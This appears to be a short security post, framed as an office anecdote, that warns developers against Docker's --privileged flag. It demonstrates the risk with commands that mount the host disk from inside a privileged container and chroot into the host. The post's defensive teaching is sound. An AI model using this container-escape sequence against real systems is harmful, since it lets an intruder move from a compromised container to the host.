ReynardSec<p>A grumpy ItSec guy walks through the office when he overhears an exchange of words.</p><p>Dev0: Hey, this isn't working, I hate containers...<br>Dev1: Maybe just add the --privileged flag!</p><p>ItSec: Just… no. Simply no. No privileged mode - the grumpy fellow interjects as he walks away.</p><p>Dev0: Jesus, fine - no privileged mode.<br>Dev1: Okay, but… why?</p><p>Here's why (one, simple example): </p><p>Docker's --privileged flag lifts almost all restrictions from your container - exactly the opposite of --cap-drop=ALL. Let's demo the difference. </p><p>1) Start two containers. </p><p>docker run -itd --privileged --name ubuntu-privileged ubuntu<br>docker run -itd --name ubuntu-unprivileged ubuntu</p><p>2) Inspect /dev in the unprivileged container.</p><p>docker exec -it ubuntu-unprivileged bash<br>ls /dev<br>exit</p><p>You'll only see a limited set of devices. No disk access. </p><p>3) Now inspect /dev in the privileged container.</p><p>docker exec -it ubuntu-privileged bash<br>ls /dev</p><p>/dev/sda exposed! Sometimes you may see /dev/mapper when LVM is in place. Then "apt update && apt install -y lvm2" and "lvscan" may help during next phase. </p><p>4) Exploitation part (inside the privileged container) - simply mount /dev/sda to any writable path in container.</p><p>mkdir /tmp/whatever<br>mount /dev/sda1 /tmp/whatever</p><p>5) You can now enumerate - and access - the Docker host's logical volume.</p><p>ls -la /tmp/whatever</p><p>6) If you wish, you can even chroot into the host:</p><p>chroot /tmp/whatever /bin/bash</p><p>The moral of the story is to avoid privileged mode, because in the event of an incident (e.g. an attacker compromising an app running inside a container), you significantly increase the likelihood of successful lateral movement from the container to the Docker host - and from there into the rest of your infrastructure.</p><p>Usually the grumpy guy means well. He just doesn't know how to explain it properly.</p><p><a href="https://infosec.exchange/tags/devops" class="mention hashtag" rel="nofollow noopener" target="_blank">#<span>devops</span></a> <a href="https://infosec.exchange/tags/programming" class="mention hashtag" rel="nofollow noopener" target="_blank">#<span>programming</span></a> <a href="https://infosec.exchange/tags/webdev" class="mention hashtag" rel="nofollow noopener" target="_blank">#<span>webdev</span></a> <a href="https://infosec.exchange/tags/java" class="mention hashtag" rel="nofollow noopener" target="_blank">#<span>java</span></a> <a href="https://infosec.exchange/tags/linux" class="mention hashtag" rel="nofollow noopener" target="_blank">#<span>linux</span></a> <a href="https://infosec.exchange/tags/cybersecurity" class="mention hashtag" rel="nofollow noopener" target="_blank">#<span>cybersecurity</span></a> <a href="https://infosec.exchange/tags/php" class="mention hashtag" rel="nofollow noopener" target="_blank">#<span>php</span></a> <a href="https://infosec.exchange/tags/nodejs" class="mention hashtag" rel="nofollow noopener" target="_blank">#<span>nodejs</span></a></p>